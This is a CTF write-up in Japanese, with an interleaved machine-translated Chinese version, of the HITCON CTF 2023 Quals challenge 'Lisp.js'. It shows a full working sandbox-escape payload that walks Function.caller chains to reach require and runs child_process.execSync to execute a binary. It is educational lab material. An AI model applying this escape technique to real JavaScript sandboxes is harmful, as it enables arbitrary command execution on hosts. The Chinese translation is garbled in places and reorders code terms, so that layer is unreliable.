9/8 – 9/10という日程で開催された。TokyoWesternsと出て9位。Webが0完というのは大変くやしいし、決勝圏内である7位以内にはあと1問が解ければ入れるという状況だったことも手伝ってつらい。特にLogin SystemはNimのコードをじっくり読んでいたにもかかわらずHTTP Request Smugglingに気づけなかったというのがくやしい。くやしい、くやしい~*1! maple3142さんが作問された問題についてはすでにもろもろの情報が公開されている。添付ファイル等もそちらを参照のこと。
它于9/8至9/10举行。 东京西部片出场,排名第9。 网络得分为 0 是非常困难的,如果我们必须再解决一个问题,我们也很难帮助我们进入前 7 名,也就是在最后的区域。 特别是,登录系统没有注意到HTTP请求走私,即使它一直在仔细阅读Nim的代码。 沉闷,沉闷~*1! 关于maple3142被问到的问题,已经发表了很多信息。 有关附件,请参阅该附件。
[Misc 342] Lisp.js (9 solves)
[杂项 342] Lisp.js(9 解)
A brand new Lisp interpreter implemented in JavaScript!
一个用JavaScript实现的全新Lisp解释器!(問題サーバへの接続情報) (与问题服务器的连接信息)
添付ファイル: lispjs-dist-0ce6082c58c5bb17853c269ebb6bacb7e0854beb.tar.gz
附件: lispjs-dist-0ce6082c58c5bb17853c269ebb6bacb7e0854beb.tar.gz
JavaScriptで機能に制限のあるLispのインタプリタを作ったので、なんとかしてこの「サンドボックス」的なものから脱出しろという問題。以下のDockerfileを見るとわかるが、readflag
というバイナリを実行することがゴールとなる。readflag
はフラグを出力するだけのバイナリだ。
由于我在 JavaScript 中创建了一个功能有限的 Lisp 解释器,因此问题在于以某种方式摆脱了这个“沙箱”的东西。 从下面的 Dockerfile 中可以看出,目标是执行名为 的二进制文件 readflag
。 readflag
只是一个输出标志的二进制文件。
pwn.red/jail
というイメージはGitHubの redpwn/jail
にある。redpwn製のいい感じにjailを作れる便利なやつで、/srv/app/run
に配置されている実行ファイルがエントリーポイントとなる。
pwn.red/jail
该图像位于 redpwn/jail
GitHub 上。 这是一个方便的家伙,可以做一个由redpwn制作的漂亮监狱,放入 /srv/app/run
的可执行文件是入口点。
FROM node:20-alpine AS app WORKDIR /app COPY src/ . FROM pwn.red/jail COPY --from=app / /srv COPY ./src/run.sh /srv/app/run COPY ./readflag /srv/app/readflag RUN chmod 111 /srv/app/readflag ENV JAIL_MEM=64M JAIL_PIDS=20 JAIL_TMP_SIZE=1M
エントリーポイントである run.sh
は次の通り。Lispコードを入力すると適当な一時ファイルに保存し、main.js
にそのパスを渡し実行する。Node.jsには --disallow-code-generation-from-strings
と --disable-proto=delete
。という2つのオプションが付与されているけれども、これらはどういうものだろうか。
入口点是 run.sh
: 输入 Lisp 代码后,它被保存在适当的临时文件中并传递以执行 main.js
。 节点.js 和 --disallow-code-generation-from-strings
--disable-proto=delete
. 有两种选择,但这些是什么?
#!/bin/sh export PATH="$PATH:/usr/local/bin" tmpfile="$(mktemp /tmp/lisp-input.XXXXXX)" echo "Welcome to Lisp.js v0.1.0!" echo "Input your Lisp code below and I will run it." while true; do printf "> " read -r line if [ "$line" = "" ]; then break fi echo "$line" >> "$tmpfile" done node --disallow-code-generation-from-strings --disable-proto=delete main.js "$tmpfile" rm "$tmpfile"
まず --disallow-code-generation-from-strings
だけれども、Node.jsのドキュメントを見ると eval
や new Function
などによる、文字列からのコード生成を抑制するオプションであるとわかる。適当にこのオプションを付けて eval
を実行してみると、こんな感じで確かに eval
の呼び出し時に EvalError
という例外が発生していることがわかる。
首先, --disallow-code-generation-from-strings
如果您查看 Node.js 文档,您会发现它是一个选项, eval
用于禁止从 和 的 new Function
字符串生成代码。 如果您 eval
尝试使用此选项适当地执行,您可以看到在像这样调用 eval
时确实存在异常 EvalError
。
この手のJSサンドボックス問は (123).constructor.constructor
で Function
にアクセスし、Function('console.log(123)')()
のようにして任意のJSコードの実行に持ち込むというのが定石というか、もっとも楽な方法なので、それが潰されてしまうのはちょっとつらい。そういうわけで、それ以外の方法でモジュールのインポート方式がCommonJSであれば process.mainModule
を、ES Modulesであれば process.binding
などにアクセスして呼びたいと考える。そのためのプロパティへのアクセスの方法が重要になる。
这种 JS 沙箱问题在 中 Function
是访问 (123).constructor.constructor
的,并且是将其带入任意 JS 代码 Function('console.log(123)')()
执行的最简单方法,例如 ,因此将其粉碎有点痛苦。 因此,如果模块的导入方法是 CommonJS process.mainModule
,如果是 ES 模块 process.binding
等,则被访问和调用。 为此,访问财产的方法很重要。
$ docker run --rm -it node:20-alpine --disallow-code-generation-from-strings -e 'eval("123")' [eval]:1 eval("123") ^ EvalError: Code generation from strings disallowed for this context at [eval]:1:1 at Script.runInThisContext (node:vm:122:12) at Object.runInThisContext (node:vm:298:38) at node:internal/process/execution:83:21 at [eval]-wrapper:6:24 at runScript (node:internal/process/execution:82:62) at evalScript (node:internal/process/execution:104:10) at node:internal/main/eval_string:50:3 Node.js v20.6.1
--disable-proto
は __proto__
の利用を制限するオプションだ。オプションの値として delete
が指定されており、__proto__
の存在が完全に抹消されていることがわかる*2。ただ、obj.constructor.prototype
で代替できるのでいまいちこのオプションの意味を感じない。obj[prop1][prop2]
のように2段以上オブジェクトのプロパティをさかのぼれないというのなら別だけれども。
--disable-proto
是限制 __proto__
使用 的选项。 的值被指定为选项,表示 __proto__
的存在被 delete
完全擦除 *2。 但是,我不觉得这个选项的意义,因为它可以替换为 obj.constructor.prototype
. obj[prop1][prop2]
除非无法像这样跟踪对象的属性超过两个步骤。
main.js
は次の通り。一時ファイル経由で飛んできたLispコードを runtime.js
の lispEval
に渡している。
main.js
它们如下。 通过临时文件传入的 Lisp 代码被传递给 lispEval
runtime.js
。
const { lispEval } = require('./runtime') const fs = require('fs') const code = fs.readFileSync(process.argv[2], 'utf-8') console.log(lispEval(code))
runtime.js
は次の通り。長いのでところどころ省略している。すべてを見たい場合にはmaple3142さんが上げているコードを確認のこと。lispEval
の第1引数はコードだけれども、別途第2引数としてスコープを指定することもできる。このスコープというのは序盤で定義されている Scope
のインスタンスであり、+
や print
といったシンボルを解決するために使われる。
runtime.js
它们如下。 由于它很长,因此在某些地方被省略了。 如果您想查看所有内容,请检查 maple3142 提出的代码。 lispEval
第一个参数是代码,但您可以将范围指定为单独的第二个参数。 此作用域是早期定义的实例 Scope
,用于解析符号 print
,如 +
和 。
main.js
では第2引数が指定されていなかったため、デフォルト引数として basicScope
で生成されるスコープが使われる。basicScope
では +
, -
, if
, let
, fun
といった基本的な関数が定義されている。ややJSっぽいなと感じる関数として slice
, object
, keys
, そして .
がある。前の3つはリストやJSのオブジェクトを加工するための関数で、それぞれリストのスライス、リストからオブジェクトへの Object.fromEntries
を使った変換、そしてオブジェクトに含まれるキー一覧の取得ができる。.
はオブジェクトのプロパティを取得できる便利な関数だ。
main.js
由于未指定第二个参数,因此 basicScope
生成的范围将用作默认参数。 basicScope
定义基本函数,如 、 、 、 、 、 if
let
fun
+
-
。 有些函数 slice
object
keys
我觉得有点像JS,和。 .
前三个函数用于处理列表和 JS 对象,每个函数都允许您对列表进行切片,从列表 Object.fromEntries
转换为对象,以及获取对象中包含的键列表。 .
是一个有用的函数,允许您获取对象的属性。
basicScope
以外にも extendedScope
というものがあり、これは basicScope
に含まれる基本的な関数のほか、Array
, Date
, Math
といったJSのオブジェクトなどなど、便利な関数を追加してくれる。しかしながら、extendedScope
はデフォルトでは使えない。
basicScope
extendedScope
除了 中包含的基本函数外,它还添加了有用的函数 basicScope
,例如 JS 对象,例如 、 Array
、 Date
。 Math
但是, extendedScope
默认情况下不可用。
const { Tokenizer } = require('./tokenizer') const { Parser, LispSymbol } = require('./parser') class LispRuntimeError extends Error { constructor(message) { super(message) this.name = 'LispRuntimeError' } } exports.LispRuntimeError = LispRuntimeError class Scope { constructor(parent) { this.parent = parent this.table = Object.create(null) } get(name) { if (Object.prototype.hasOwnProperty.call(this.table, name)) { return this.table[name] } else if (this.parent) { return this.parent.get(name) } } set(name, value) { this.table[name] = value } } exports.Scope = Scope function astToExpr(ast) { if (typeof ast === 'number') { return function _numberexpr() { return ast } } else if (typeof ast === 'string') { return function _stringexpr() { return ast } } else if (ast instanceof LispSymbol) { return function _symbolexpr(scope) { // pass null to get the symbol itself if (scope === null) return ast const r = scope.get(ast.name) if (typeof r === 'undefined') throw new LispRuntimeError(`Undefined symbol: ${ast.name}`) return r } } else if (Array.isArray(ast)) { return function _sexpr(scope) { // pass null to get the ast function call itself if (scope === null) return ast const fn = astToExpr(ast[0])(scope) if (typeof fn !== 'function') throw new LispRuntimeError(`Unable to call a non-function: ${fn}`) return fn(ast.slice(1).map(astToExpr), scope) } } else { throw new LispRuntimeError(`Unxpexted ast: ${ast}`) } } exports.astToExpr = astToExpr function basicScope() { // we always use named function here for a better stack trace // otherwise you would see a lot of <anonymous> in the stack trace :( const scope = new Scope() scope.set('do', function _do(args, scope) { const newScope = new Scope(scope) let ret = null for (const e of args) { ret = e(newScope) newScope.set('_', ret) } return ret }) scope.set('print', function _print(args, scope) { console.log(...args.map(e => e(scope))) }) // (省略) scope.set('.', function _dot(name, scope) { const obj = name[0](scope) const prop = name[1](scope) const ret = obj[prop] if (typeof ret === 'undefined') { throw new LispRuntimeError(`Undefined property: ${prop}`) } return ret }) // (省略) scope.set('slice', function _slice(args, scope) { if (args.length !== 3) throw new LispRuntimeError('slice expects 3 arguments') const list = args[0](scope) const start = args[1](scope) const end = args[2](scope) if (!Array.isArray(list)) throw new LispRuntimeError('slice expects a list as first argument') return list.slice(start, end) }) scope.set('object', function _object(args, scope) { return Object.fromEntries(args.map(e => e(scope))) }) scope.set('keys', function _keys(args, scope) { const obj = args[0](scope) return Object.keys(obj) }) return scope } exports.basicScope = basicScope function extendedScope() { // a runtime with all the basic functions, plus some more js interop functions const scope = basicScope() scope.set('Object', Object) scope.set('Array', Array) scope.set('String', String) // (省略) } exports.extendedScope = extendedScope function lispEval(code, scope = basicScope()) { const tokens = Tokenizer.tokenize(code) const ast = Parser.parse(tokens) return astToExpr(ast)(scope) } exports.lispEval = lispEval if (require.main === module) { // (省略。サンプルコード*2) }
JSで作られた普通のLispインタプリタだ。文法や機能も .
関数やオブジェクトへの対応などJSっぽい雰囲気がある以外はごく普通だ。前述の通り readflag
という実行ファイルを実行するのがこの問題のゴールであるから、なんとかしてこの「サンドボックス」を脱出し、たとえば child_process
モジュールをインポートして execSync
などを呼んだり、process.binding
を呼んだりといったことをしたい。そのために、グローバルな this
や process
にアクセスしたいところだ。
这是一个用JS制作的普通Lisp解释器。 语法和函数也很正常,除了与 .
函数和对象的对应等类似JS的氛围。 由于此问题的目标是如上所述执行可执行文件 readflag
,因此我想以某种方式转义这个“沙箱”,例如,导入 child_process
模块并调用 process.binding
等 execSync
。 为此,您希望 process
访问全局 this
和 .
そういうわけで、なんとかやっていきたい。まず思いつくのは(以前SECCON CTFでよく似たシチュエーションの問題が出題され、そちらで使ったのもあり) Function.prototype.caller
と Function.prototype.arguments
だった。それぞれある関数の呼び出し時に、呼び出し元の関数や渡ってきた引数へアクセスできるプロパティだ。アクセスするには呼び出されている側の関数オブジェクトにアクセスする必要があるけれども、(シンボルの解決は実行時であるため)(let f (fun (x) (f)))
のようにして自分自身にアクセスできるということが使える。次のようにして、.
を使い Function.prototype.caller
にアクセスできた。
这就是为什么我想为此做点什么。 首先想到的是( Function.prototype.arguments
之前SECCON CTF中存在类似情况的问题,我在那里使用了它)。 Function.prototype.caller
它是一个属性,允许访问调用函数和调用每个函数时传入的参数。 您可以使用需要访问被调用的函数对象来访问它的事实,但您可以像访问自己一样访问自己(因为符号解析是在运行时进行的)。 (let f (fun (x) (f)))
.
我 Function.prototype.caller
能够通过以下方式访问:
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let f (fun (x) (. f "caller"))) (print (f 1)))> > > [Function: _sexpr] undefined
次のようにして Function.prototype.arguments
へのアクセスもできる。
您还可以 Function.prototype.arguments
按如下方式访问:
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let f (fun (x) (. (. f "caller") "arguments"))) (print > (f 1)))> > [Arguments] { '0': Scope { parent: Scope { parent: undefined, table: [Object: null prototype] }, table: [Object: null prototype] { f: [Function: _runtimeDefinedFunction], _: undefined } } } undefined
caller
を辿っていくといい感じに main.js
まで戻ることができた。ここで arguments
にアクセスすると require
やモジュールが使えるはずだ。
caller
我能够回到 main.js
一种美好的感觉。 如果您 arguments
访问此处, require
您应该能够使用 和模块。
$ nc localhost 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > (do (let x (fun () (. (. (. (. (. (. (. x "caller") "caller") "caller") "caller") "caller") "caller") "caller"))) (let res (x)) (list res (+ "" res)) )> > > > > > [ [Function (anonymous)], 'function (exports, require, module, __filename, __dirname) {\n' + "const { lispEval } = require('./runtime')\n" + "const fs = require('fs')\n" + '\n' + "const code = fs.readFileSync(process.argv[2], 'utf-8')\n" + 'console.log(lispEval(code))\n' + '\n' + '}' ]
module.children
で読み込まれたモジュール、つまり runtime.js
でエクスポートされている関数などにもアクセスできる。これを使って以下のように extendedScope
へアクセスし、呼び出すこともできた。
module.children
您还可以访问 中加载的模块,即由 导出 runtime.js
的函数。 它还可用于访问和调用 extendedScope
,如下所示:
(do (let get_require (fun () (. (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"1"))) (let get_module (fun () (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2"))) (let require (get_require)) (let module (get_module)) (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope")) (extendedScope) )
extendedScope
で追加される関数には以下のようなものがある。basicScope
や extendedScope
で追加されている関数の定義を見るとわかるように、Lisp側で定義された関数はいずれも呼び出し時に第1引数として引数のリストが、第2引数として Scope
オブジェクトが渡ってくる。そのため、実質的にLisp側からJS側の関数を呼び出す際には第1引数しかコントロールできないほか、第2引数が必要ない場合でも余計に Scope
オブジェクトが渡ってしまう問題がある。
extendedScope
添加的功能包括: basicScope
从 extendedScope
和 中添加的函数的定义中可以看出,在 Lisp 端定义的任何函数在调用时都有一个参数列表作为第一个参数和一个 Scope
对象作为第二个参数。 因此,从 Lisp 端调用 JS 端函数时,只能控制第一个参数,即使不需要第二个参数,也存在传递额外 Scope
对象的问题。
j2l
と l2j
はいずれも読みづらいけれども、こういったLisp側とJS側での相互運用性をいい感じに解決してくれる関数だ。たとえば (let isArray (j2l (. Array "isArray")))
のように j2l
を通すことで、Array.isArray(hoge)
相当のことをLisp側から (isArray hoge)
でできるようになる。l2j
はその逆で、JS側からLisp側の関数を呼び出しやすくする。..
も同様に、Lisp側からJS側の関数を呼び出しやすくする関数だ。
j2l
l2j
并且都很难阅读,但它们很好地解决了 Lisp 和 JS 端之间的这种互操作性。 例如,通过 , (let isArray (j2l (. Array "isArray")))
你可以从 Lisp j2l
端做很多 Array.isArray(hoge)
(isArray hoge)
事情。 l2j
相反,它使得从JS端调用Lisp函数变得更加容易。 ..
类似地,它是一个函数,可以更轻松地从 Lisp 端调用 JS-端函数。
scope.set('j2l', function _j2l(args, scope) { if (args.length !== 1) throw new LispRuntimeError('j2l expects 1 argument') const fn = args[0](scope) if (typeof fn !== 'function') throw new LispRuntimeError('j2l expects a function as argument') return function _wrapperForJSFunction(fnargs, callerScope) { return fn(...fnargs.map(e => e(callerScope))) } }) scope.set('l2j', function _l2j(args, scope) { if (args.length !== 1) throw new LispRuntimeError('l2j expects 1 argument') const fn = args[0](scope) if (typeof fn !== 'function') throw new LispRuntimeError('l2j expects a function as argument') return function _wrapperForLispFunction(...args) { return fn( args.map(x => () => x), scope ) } }) scope.set('..', function _dot(args, scope) { const obj = args[0](scope) const prop = args[1](scope) let ret = obj[prop] if (typeof ret === 'undefined') { throw new LispRuntimeError(`Undefined property: ${prop}`) } if (typeof ret !== 'function') { throw new LispRuntimeError(`Property ${prop} is not a function`) } return Function.prototype.bind.call(ret, obj) })
これで材料は揃った。以下のようなことをするLispコードを組み立てたい。
现在食材已经准备好了。 我想构造像这样的事情的Lisp代码:
caller
を辿り、main.js
のrequire
とmodule
にアクセスする
caller
main.js
并module
访问require
和- 手に入れた
module
からruntime.js
のextendedScope
を手に入れ、呼び出す
从你那里得到runtime.js
它并打电话给它extendedScope
module
- 追加された
j2l
と..
を使い、require('child_process').execSync('./readflag')
相当のことをする
..
使用添加j2l
并做require('child_process').execSync('./readflag')
体面的工作
出来上がったのが次のLispコードだ。 结果是以下 Lisp 代码:
(do (let get_module (fun () (. (. (. (. (. (. (. (. (. get_module "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments")"2"))) (let module (get_module)) (let extendedScope (. (. (. (. module "children") "0") "exports") "extendedScope")) (let e (extendedScope)) (let get_require (fun () (. (. (. (. (. (. (. (. get_require "caller") "caller") "caller") "caller") "caller") "caller") "caller") "arguments"))) (let .. (. (. e "table") "..")) (let j2l (. (. e "table") "j2l")) (let require_ (get_require)) (let require (j2l (.. require_ "1"))) (let child_process (require "child_process")) (let execSync (j2l (.. child_process "execSync"))) (+ (execSync "./readflag") ""))
これを問題サーバに投げると、フラグが得られた。 当我把它扔到有问题的服务器时,我得到了一个标志。
$ (cat payload; echo) | nc chal-lispjs.chal.hitconctf.com 1337 Welcome to Lisp.js v0.1.0! Input your Lisp code below and I will run it. > > > > > > > > > > > > > > > > > hitcon{it_is_actually_a_node.js_jail_in_disguise!!}
そうやな。 哦,是的。
hitcon{it_is_actually_a_node.js_jail_in_disguise!!}
原文始发于HatenaBlog:HITCON CTF 2023 Quals writeup